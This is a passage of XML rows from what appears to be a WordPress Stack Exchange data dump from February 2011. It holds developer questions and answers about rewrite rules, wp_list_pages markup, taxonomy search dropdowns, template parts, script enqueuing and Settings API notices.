prefixed with the &quot;home root&quot;, at least a '/'&#xA;    // This is equivalent to appending it to `non_wp_rules`&#xA;    $wp_rewrite-&amp;gt;add_external_rule( 'my-api.php$', $plugin_url );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The internal rule requires some more work: first we add a rewrite rule that adds a query vars, then we make this query var public, and then we need to check for the existence of this query var to pass the control to our plugin file. By the time we do this, the usual WordPress initialization will have happened (we break away right before the regular post query).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse9870_init_internal' );&#xA;function wpse9870_init_internal()&#xA;{&#xA;    add_rewrite_rule( 'my-api.php$', 'index.php?wpse9870_api=1', 'top' );&#xA;}&#xA;&#xA;add_filter( 'query_vars', 'wpse9870_query_vars' );&#xA;function wpse9870_query_vars( $query_vars )&#xA;{&#xA;    $query_vars[] = 'wpse9870_api';&#xA;    return $query_vars;&#xA;}&#xA;&#xA;add_action( 'parse_request', 'wpse9870_parse_request' );&#xA;function wpse9870_parse_request( &amp;amp;$wp )&#xA;{&#xA;    if ( array_key_exists( 'wpse9870_api', $wp-&amp;gt;query_vars ) ) {&#xA;        include 'my-api.php';&#xA;        exit();&#xA;    }&#xA;    return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-21T13:57:32.897" />
  <row Id="9960" PostTypeId="1" AcceptedAnswerId="9962" CreationDate="2011-02-21T14:00:16.393" Score="1" ViewCount="426" Body="&lt;p&gt;as the title states, I am trying to remove the &lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;/li&amp;gt;&lt;/code&gt; tags from the list that gets generated with &lt;code&gt;wp_list_pages()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thinking is to somehow run a for/foreach loop through the menu items and remove the &lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;/li&amp;gt;&lt;/code&gt; tags using &lt;code&gt;str_replace()&lt;/code&gt;, but first I would need to parse the returned list into an array or something to traverse through the list items...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how I can accomplish that? or maybe a better way of going about it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx in advance!&lt;/p&gt;&#xA;" OwnerUserId="2632" LastActivityDate="2011-02-21T15:28:59.970" Title="removing &lt;li&gt; tags from wp_list_pages() using PHP" Tags="&lt;php&gt;&lt;custom-menus&gt;" AnswerCount="3" />
  <row Id="9961" PostTypeId="1" AcceptedAnswerId="9976" CreationDate="2011-02-21T14:05:14.533" Score="0" ViewCount="729" Body="&lt;p&gt;I know this question is asked many times on stack-exchange, but I am with something new&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to have three Drop Down Boxes and a search button, the drop-down boxes will contain terms of 3 custom taxonomies, when I will select three values in it and hit search, I will get results which will be having these three terms in that post&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds weird but this is really a helpful search for a website&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am having a code(which I found on some website) which is working, but just for categories and only gives one drop down box, I want to make it for custom taxonomy which will be having 3 drop-down boxes,&#xA;here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_search_form($form) {&#xA;$form = '&amp;lt;form method=&quot;get&quot; id=&quot;searchform&quot; action=&quot;' . get_option('home') . '/&quot; &amp;gt;&#xA;&amp;lt;div&amp;gt;&amp;lt;label class=&quot;hidden&quot; for=&quot;s&quot;&amp;gt;' . __('Search for:') . '&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; value=&quot;' . attribute_escape(apply_filters('the_search_query', get_search_query())) . '&quot; name=&quot;s&quot; id=&quot;s&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; id=&quot;searchsubmit&quot; value=&quot;'.attribute_escape(__('Search')).'&quot; /&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;'.wp_dropdown_categories('show_option_all=All Categories&amp;amp;hide_empty=0&amp;amp;echo=0&amp;amp;selected='.intval($_GET['cat']).'').'&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;';&#xA;return $form;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After writing this I have to just echo it, &lt;code&gt;&amp;lt;?php echo wp_search_form(''); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I edited according to my view, I just changed a single line to display the drop-down of custom taxonomy but when hitting on search it gives me No results found, Code I changed is this&#xA;&lt;code&gt;'.wp_dropdown_categories('taxonomy=location&amp;amp;hide_empty=0&amp;amp;echo=0&amp;amp;selected='.intval($_GET['cat']).'').'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Location is my custom taxonomy name&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditorDisplayName="" LastEditDate="2011-02-21T14:16:56.743" LastActivityDate="2011-04-27T14:41:31.300" Title="Multiple Drop-Down custom taxonomies search" Tags="&lt;custom-taxonomy&gt;&lt;search&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="9962" PostTypeId="2" ParentId="9960" CreationDate="2011-02-21T14:12:53.190" Score="5" ViewCount="" Body="&lt;p&gt;You could try to remove them, but maybe it's easier to not generate them in the first place. The page list is displayed by a &lt;em&gt;Walker&lt;/em&gt;. This is a class that &quot;walks&quot; over all the items in the tree, and displays them. &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-includes/post-template.php#L746&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_list_pages()&lt;/code&gt;&lt;/a&gt; by default (via &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-includes/post-template.php#L876&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;walk_page_tree()&lt;/code&gt;&lt;/a&gt;) uses &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-includes/classes.php#L1126&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;Walker_Page&lt;/code&gt; class&lt;/a&gt;, which displays everything in &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; elements. However, you can duplicate this class, remove everything it in you don't need, and pass that class to &lt;code&gt;wp_list_pages()&lt;/code&gt; (with the &lt;code&gt;walker&lt;/code&gt; argument).&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-21T14:12:53.190" CommentCount="2" />
  <row Id="9963" PostTypeId="2" ParentId="9960" CreationDate="2011-02-21T14:18:48.520" Score="1" ViewCount="" Body="&lt;p&gt;if you don't want to create your own walker, simply use &lt;code&gt;str_replace(array('&amp;lt;li&amp;gt;', '&amp;lt;/li&amp;gt;', '&amp;lt;ul&amp;gt;', '&amp;lt;/ul&amp;gt;'), '', wp_list_pages('echo=0'));&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-02-21T14:18:48.520" CommentCount="3" />
  <row Id="9964" PostTypeId="1" CreationDate="2011-02-21T14:41:16.580" Score="0" ViewCount="130" Body="&lt;p&gt;There exist a way to add tags like: skills, favorite books, etc. to the profile?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastEditorUserId="2011" LastEditorDisplayName="" LastEditDate="2011-02-22T22:32:39.793" LastActivityDate="2011-08-22T18:33:29.063" Title="Buddypress - Adding Tags in Profile" Tags="&lt;tags&gt;" AnswerCount="1" />
  <row Id="9965" PostTypeId="2" ParentId="9960" CreationDate="2011-02-21T14:45:12.550" Score="0" ViewCount="" Body="&lt;p&gt;Thanx for the answers guys, I've edited my answer to reflect Jan Fabry's comment about the &lt;code&gt;echo=0&lt;/code&gt; argument, also thanx to One Trick Pony for pointing that out initially.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$lookfor = array('&amp;lt;li','&amp;lt;/li&amp;gt;');&#xA;$replacewith = array('&amp;lt;div', '&amp;lt;/div&amp;gt;');&#xA;&#xA;$args = array(&#xA;    'echo'          =&amp;gt; 0,&#xA;    'sort_column'   =&amp;gt; 'menu_order',&#xA;    'title_li'      =&amp;gt; __('')&#xA;);&#xA;&#xA;$output = wp_list_pages( $args ); &#xA;&#xA;echo str_replace($lookfor,$replacewith,$output);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I will definitely look into creating a custom walker, as it seems to be the better way of achieving the result?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx again for all your help!&lt;/p&gt;&#xA;" OwnerUserId="2632" LastEditorUserId="2632" LastEditorDisplayName="" LastEditDate="2011-02-21T15:28:59.970" LastActivityDate="2011-02-21T15:28:59.970" CommentCount="5" />
  <row Id="9966" PostTypeId="1" AcceptedAnswerId="9972" CreationDate="2011-02-21T15:00:34.833" Score="1" ViewCount="202" Body="&lt;p&gt;I want script will add new rules to current &lt;code&gt;.htaccess&lt;/code&gt; and user no need to ftp or edit it manually. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example, I use timthumb for resize image on my theme and want rewrite the URL and current &lt;code&gt;.htaccess&lt;/code&gt; will be something like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^images/thumb/(.*) timthumb.php?filename=$1&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Question&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to add the new rule to the &lt;code&gt;.htacces&lt;/code&gt; on my theme option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable Mod rewrite for Timthumb? : [Yes] [No]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If click [Yes] &lt;code&gt;RewriteRule ^images/thumb/(.*) timthumb.php?filename=$1&lt;/code&gt; will automatic added to current &lt;code&gt;.htaccess&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know &lt;/p&gt;&#xA;" OwnerUserId="2921" LastActivityDate="2011-02-21T15:20:09.663" Title="How to override .htaccess with new rules without ftp or edit it manual" Tags="&lt;coding&gt;&lt;theme-options&gt;&lt;htaccess&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="9968" PostTypeId="1" AcceptedAnswerId="15436" CreationDate="2011-02-21T15:12:25.440" Score="1" ViewCount="190" Body="&lt;p&gt;Do I do this exactly the same way as I would with normal posts? I use a $featured_cat global variable and pull that out. Should I do the same here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or should I use an associated custom taxonomy? Or perhaps I am over-thinking it? Would there really be a benefit with taxonomies?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;What's the right approach here, guys?&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3361" LastActivityDate="2011-04-23T05:42:28.383" Title="How do I create a featured post within a custom post type?" Tags="&lt;posts&gt;&lt;customization&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="9969" PostTypeId="1" AcceptedAnswerId="10052" CreationDate="2011-02-21T15:13:47.323" Score="0" ViewCount="155" Body="&lt;p&gt;I was wondering if it is possible to have the wordpress search results displayed on a different page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment they are displayed on &lt;code&gt;http://www.mysite.com/?s=searchterm&lt;/code&gt; but I would like them displayed on my &lt;strong&gt;search-results&lt;/strong&gt; template page, so &lt;code&gt;http://www.mysite.com/search/?s=searchterm&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help greatly appreciated, S.&lt;/p&gt;&#xA;" OwnerUserId="3362" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-02-21T16:10:56.177" LastActivityDate="2011-02-22T08:19:08.530" Title="How can i move search results onto a specific page?" Tags="&lt;search&gt;" AnswerCount="3" FavoriteCount="0" />
  <row Id="9970" PostTypeId="2" ParentId="9969" CreationDate="2011-02-21T15:16:05.157" Score="1" ViewCount="" Body="&lt;p&gt;Try this plugin (or read the source too see how the redirect is done - its only a few lines of code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/nice-search/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/nice-search/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3358" LastEditorUserId="3358" LastEditorDisplayName="" LastEditDate="2011-02-21T15:43:44.533" LastActivityDate="2011-02-21T15:43:44.533" />
  <row Id="9971" PostTypeId="2" ParentId="9969" CreationDate="2011-02-21T15:18:07.697" Score="1" ViewCount="" Body="&lt;p&gt;It looks like you may just need to rename your template page. Try creating a &lt;code&gt;search.php&lt;/code&gt; template file: &lt;a href=&quot;http://codex.wordpress.org/Theme_Development#Search_Results_.28search.php.29&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Theme_Development#Search_Results_.28search.php.29&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="49" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2011-02-21T21:28:17.053" LastActivityDate="2011-02-21T21:28:17.053" />
  <row Id="9972" PostTypeId="2" ParentId="9966" CreationDate="2011-02-21T15:20:09.663" Score="3" ViewCount="" Body="&lt;p&gt;You can add extra rules right after the &lt;code&gt;^index\.php$&lt;/code&gt; line via the &lt;code&gt;WP_Rewrite&lt;/code&gt; class, more specifically the &lt;code&gt;add_external_rule()&lt;/code&gt; method. They are added to the &lt;code&gt;non_rewrite_rules&lt;/code&gt; array, &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-includes/rewrite.php#L1702&quot; rel=&quot;nofollow&quot;&gt;which is written in the &lt;code&gt;mod_rewrite_rules()&lt;/code&gt; method&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a very simple example. You should still flush the rewrite rules (once), either on plugin activation or by visiting the &lt;em&gt;Permalinks&lt;/em&gt; page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse9966_init' );&#xA;function wpse9966_init()&#xA;{&#xA;    global $wp_rewrite;&#xA;    // The pattern is prefixed with '^'&#xA;    // The substitution is prefixed with the &quot;home root&quot;, at least a '/'&#xA;    $wp_rewrite-&amp;gt;add_external_rule( 'images/thumb/(.*)$', 'timthumb.php?filename=$1' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-21T15:20:09.663" CommentCount="3" />
  <row Id="9973" PostTypeId="2" ParentId="9941" CreationDate="2011-02-21T15:31:39.650" Score="0" ViewCount="" Body="&lt;p&gt;When i was facing something similar i used custom post type for the reviews and found out that it was a bad bad think because you need to create almost everything your self including the relationship or post to post and ever function that already exists for comments wouldn't be at use so i reverted to using comments in this way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I create a 4 different comment templates and just call a different one for every post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go with comments!!!&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-21T15:31:39.650" />
  <row Id="9974" PostTypeId="2" ParentId="9968" CreationDate="2011-02-21T15:42:48.960" Score="0" ViewCount="" Body="&lt;p&gt;Same as with every other post type, really...use a category...or whatever other method you prefer (tag, custom taxonomy, custom metadata/field,...).&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-02-22T03:55:41.570" LastActivityDate="2011-02-22T03:55:41.570" CommentCount="3" />
  <row Id="9975" PostTypeId="2" ParentId="9958" CreationDate="2011-02-21T15:49:14.520" Score="0" ViewCount="" Body="&lt;p&gt;I'm using a combination of the 'Frontpage Manager', the 'Dynamic Widgets' plugins and stylesheet overrides to manage my frontpage content. However, what you're asking for you can do by simply using the &lt;code&gt;is_front_page()&lt;/code&gt; conditional tag in your theme files.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-02-21T16:56:28.137" LastActivityDate="2011-02-21T16:56:28.137" CommentCount="3" />
  <row Id="9976" PostTypeId="2" ParentId="9961" CreationDate="2011-02-21T16:01:42.143" Score="1" ViewCount="" Body="&lt;p&gt;Wordpress in version prior to 3.1 does not support querying multiple taxonomies, you will need to install Scribu's plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;Query Multiple Taxonomies&lt;/a&gt; to fix that.&#xA;and in order to get the dropdown select box you can use &lt;code&gt;wp_dropdown_categories()&lt;/code&gt;&#xA;like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'taxonomy' =&amp;gt; 'location',&#xA;    'hide_empty' =&amp;gt; 0,&#xA;    'echo' =&amp;gt; 1,&#xA;    'name' =&amp;gt; 'location'&#xA;);&#xA;if (isset($_GET['location'])){&#xA;    $args['selected'] = intval($_GET['location']);&#xA;}&#xA;wp_dropdown_categories( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-27T14:41:31.300" LastActivityDate="2011-04-27T14:41:31.300" CommentCount="3" />
  <row Id="9978" PostTypeId="1" AcceptedAnswerId="9981" CreationDate="2011-02-21T16:17:19.323" Score="2" ViewCount="1383" Body="&lt;p&gt;Could someone please explain to me how this function works? I know what it does but when I look at the source code in the twenty_ten template, I don't get how all loops are being collected in one single loop.php ( I saw that file too).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do for instance abstract away a certain common part of template and then reuse it across other templates?&lt;/p&gt;&#xA;" OwnerUserId="3361" LastActivityDate="2011-03-26T02:02:51.437" Title="How to use get_template_part()?" Tags="&lt;get-template-part&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="0" />
  <row Id="9979" PostTypeId="1" CreationDate="2011-02-21T16:24:31.253" Score="3" ViewCount="253" Body="&lt;p&gt;Is there an easy way to ensure that external feeds (via &lt;code&gt;fetch_feed()&lt;/code&gt;) are only fetched via cron, and not when a regular user visits the site? This is for performance reasons, I want to minimize the page load time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only time a feed should load in a normal request are probably when the cache is empty (the first time it is loaded) and maybe when a logged in user is visiting the page (because I will be the only one with a user account).&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-03-02T15:38:32.267" Title="Refresh external feeds only in cron?" Tags="&lt;performance&gt;&lt;cron&gt;&lt;fetch-feed&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="1" />
  <row Id="9980" PostTypeId="2" ParentId="9916" CreationDate="2011-02-21T16:31:19.147" Score="0" ViewCount="" Body="&lt;p&gt;Try this and see if you get any further..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_init', 'peb_init');&#xA;function peb_init() {&#xA;    add_action('admin_head', 'peb_admin_head');&#xA;}&#xA;function peb_admin_head() {&#xA;    echo '&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;';&#xA;    require_once('js.php');&#xA;    echo '&amp;lt;/script&amp;gt;';&#xA;}&#xA;add_filter('widget_text', 'do_shortcode');&#xA;&#xA;add_shortcode('appPrice', 'appPrice');&#xA;function appPrice($atts) &#xA;{&#xA;    $atts = shortcode_atts( &#xA;        array(&#xA;            'id' =&amp;gt; '',&#xA;            'class' =&amp;gt; '',&#xA;            'container' =&amp;gt; ''&#xA;        ), &#xA;        $atts &#xA;    );&#xA;    return &quot;&#xA;    &amp;lt;script type='text/javascript'&amp;gt;&#xA;    jQuery(document).ready(function($) {&#xA;        var url = 'iLookup.php';&#xA;        query = $id;&#xA;&#xA;        $.getJSON(url, {id:query}, function(json) {&#xA;            $('#results').html('Price: '+json.results[0].price+'&amp;lt;br/&amp;gt;');&#xA;        });&#xA;    });&#xA;    &amp;lt;/script&amp;gt;&#xA;    &quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's inside the js.php file? Echo statements outputting more JS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; Your existing code didn't concatenate when assigning &lt;code&gt;$id&lt;/code&gt; to &lt;code&gt;query&lt;/code&gt;(so it was treated literally).&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-21T16:31:19.147" CommentCount="2" />
  <row Id="9981" PostTypeId="2" ParentId="9978" CreationDate="2011-02-21T16:38:39.920" Score="3" ViewCount="" Body="&lt;p&gt;Not all loops, the main loop. ;-) No matter if you look at your frontpage or a category or whoknowswhat, you'll always have a main loop. The content of that main loop is determined by the query that's been run &lt;em&gt;before&lt;/em&gt; your template got called at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The loop.php template merely runs over the items in the loop and formats them. See &lt;a href=&quot;http://codex.wordpress.org/The_Loop&quot; rel=&quot;nofollow&quot;&gt;the documentation at the Codex&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at Twenty-Ten's loop.php, you can see that Twenty-Ten then diversifies &lt;em&gt;within&lt;/em&gt; that single template file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;get_template_part()&lt;/code&gt; merely loads a template part and runs through it. You can just as well extract parts of your loop.php into separate files and replace them by a &lt;code&gt;get_template_part('loop', 'category')&lt;/code&gt; and so on calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you could have a part-template for each individual post in the loop and have your loop.php only call &lt;code&gt;get_template_part('loop','post');&lt;/code&gt; within the &lt;code&gt;while...&lt;/code&gt; clause. All up to you.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-21T16:38:39.920" />
  <row Id="9982" PostTypeId="1" AcceptedAnswerId="10051" CreationDate="2011-02-21T16:43:50.703" Score="1" ViewCount="279" Body="&lt;p&gt;I currently have a search box in my sites header, (on every page), which sends the search query to a page called 'Search', which uses a template called &lt;code&gt;searchpage&lt;/code&gt;. The page/template uses Google custom search to display the results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now this all works great, but I would like to use the built-in WordPress search to also return search results on the same page, above the Google results. Effectively using 1 search box to return 2 sets of results on the same page; 1 for WordPress and 1 for Google custom search. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible and how would I go about doing it? &lt;/p&gt;&#xA;" OwnerUserId="3362" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-22T07:58:30.557" LastActivityDate="2011-04-27T20:41:54.420" Title="Combine internal search with Google custom search?" Tags="&lt;search&gt;" AnswerCount="4" CommentCount="1" />
  <row Id="9983" PostTypeId="1" AcceptedAnswerId="10008" CreationDate="2011-02-21T16:44:09.933" Score="2" ViewCount="77" Body="&lt;p&gt;I'm looking to add some scripts and styles to particular taxonomy page.  For example, I want to have a banner rotator only appear for posts that fall under the &quot;issue&quot; custom taxonomy.  I've tried using the is_tax('issue') to control when the scripts and styles are enqueued but that doesn't seem to be working.  Here's a sample of my functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function init_customizations() {&#xA;  if (is_tax('issue')) {&#xA;    wp_register_script('rotator_scripts',get_bloginfo('template_directory').'/includes/issue-rotator.js', array(), '1.0.0' );&#xA;    wp_enqueue_script('rotator_scripts');&#xA;    wp_register_style('rotator_styles',get_bloginfo('template_directory').'/includes/issue-rotator.css', array(), '1.0.0', 'screen');&#xA;    wp_enqueue_style('rotator_styles');&#xA;  }&#xA;}&#xA;add_action( 'init', 'init_customizations', 0 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This doesn't actually write anything to the header so I suspect I may be calling it incorrectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&#xA;Here is the final code with the correct answer applied to it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function init_customizations() {&#xA;  if (is_tax('issue')) {&#xA;    wp_register_script('rotator_scripts',get_bloginfo('template_directory').'/includes/issue-rotator.js', array(), '1.0.0' );&#xA;    wp_enqueue_script('rotator_scripts');&#xA;    wp_register_style('rotator_styles',get_bloginfo('template_directory').'/includes/issue-rotator.css', array(), '1.0.0', 'screen');&#xA;    wp_enqueue_style('rotator_styles');&#xA;  }&#xA;}&#xA;add_action( 'wp_enqueue_scripts', 'init_customizations', 0 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3032" LastEditorUserId="3032" LastEditorDisplayName="" LastEditDate="2011-02-22T20:57:04.793" LastActivityDate="2011-02-22T20:57:04.793" Title="Custom Taxonomy-specific JavaScript" Tags="&lt;themes&gt;&lt;custom-taxonomy&gt;&lt;taxonomy&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="9984" PostTypeId="2" ParentId="9958" CreationDate="2011-02-21T16:55:49.897" Score="1" ViewCount="" Body="&lt;p&gt;You could create custom loops using &lt;code&gt;query_posts()&lt;/code&gt; to build custom blocks of latest posts etc and create a file called front-page.php which will be the template for the front page of your site. &lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-02-21T16:55:49.897" />
  <row Id="9985" PostTypeId="1" AcceptedAnswerId="9992" CreationDate="2011-02-21T17:04:35.463" Score="3" ViewCount="463" Body="&lt;p&gt;Title sounds counter-intuitive but bear with me. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have options page, made with Settings API. When user enters invalid data I want to display error notice with &lt;code&gt;add_settings_error()&lt;/code&gt; call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But! To determine that data is invalid I need to make an remote API call. That call relies on saved data. So I can't do this in sanitization callback (which is recommended place to throw such notices) because my data is not saved yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead I had tried to hooking my check into &lt;code&gt;admin_notices&lt;/code&gt;. It works fine most of the time except one (and most important) case - when settings are saved they are always followed by &lt;strong&gt;native &lt;em&gt;Settings saved.&lt;/em&gt; notice and my custom notices are completely ignored&lt;/strong&gt; for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I throw that error notice even if WP thinks everything is fine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More focused question - why exactly &lt;em&gt;Settings saved.&lt;/em&gt; trumps any other notices?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS I could try to make API call optionally take data as argument instead of reading it from saved option, but so far I think it will make arguments overly bulky.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-21T18:22:46.893" LastActivityDate="2011-02-21T19:21:25.287" Title="How to display admin error notice if settings saved succesfully?" Tags="&lt;errors&gt;&lt;settings&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="9986" PostTypeId="2" ParentId="9985" CreationDate="2011-02-21T18:20:04.770" Score="0" ViewCount="" Body="&lt;p&gt;One thing you could do, i guess:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;in your validation callback, read the current settings (you may do so anyways?) and store them in a variable&lt;/li&gt;&#xA;&lt;li&gt;check all other values first&lt;/li&gt;&#xA;&lt;li&gt;if they aren't valid, return errors, don't check the critical value&lt;/li&gt;&#xA;&lt;li&gt;if they are, store them in the db (within your validation function)&lt;/li&gt;&#xA;&lt;li&gt;do your remote API call&lt;/li&gt;&#xA;&lt;li&gt;validate the tricky value&lt;/li&gt;&#xA;&lt;li&gt;if valid, return the whole bunch and all good&lt;/li&gt;&#xA;&lt;li&gt;if not, store the old settings you got at the beginning back to the db, do your error output via &lt;code&gt;add_settings_error()&lt;/code&gt;&#xA;Of course that somewhat defeats/abuses the Settings API, but it could be a way.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Edit: The Settings Saved message doesn't trump your other notices, it rather only shows up because your other notices have already been wiped (for some reason) from the internal settings_error store. Why that's the case i don't know, but the Settings Saved message simply gets added to the error store if and only if it's empty. What could contribute to your dilemma is that whenever the settings error store gets read (via &lt;code&gt;get_settings_errors()&lt;/code&gt;) it also gets wiped.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-02-21T19:21:25.287" LastActivityDate="2011-02-21T19:21:25.287" CommentCount="4" />
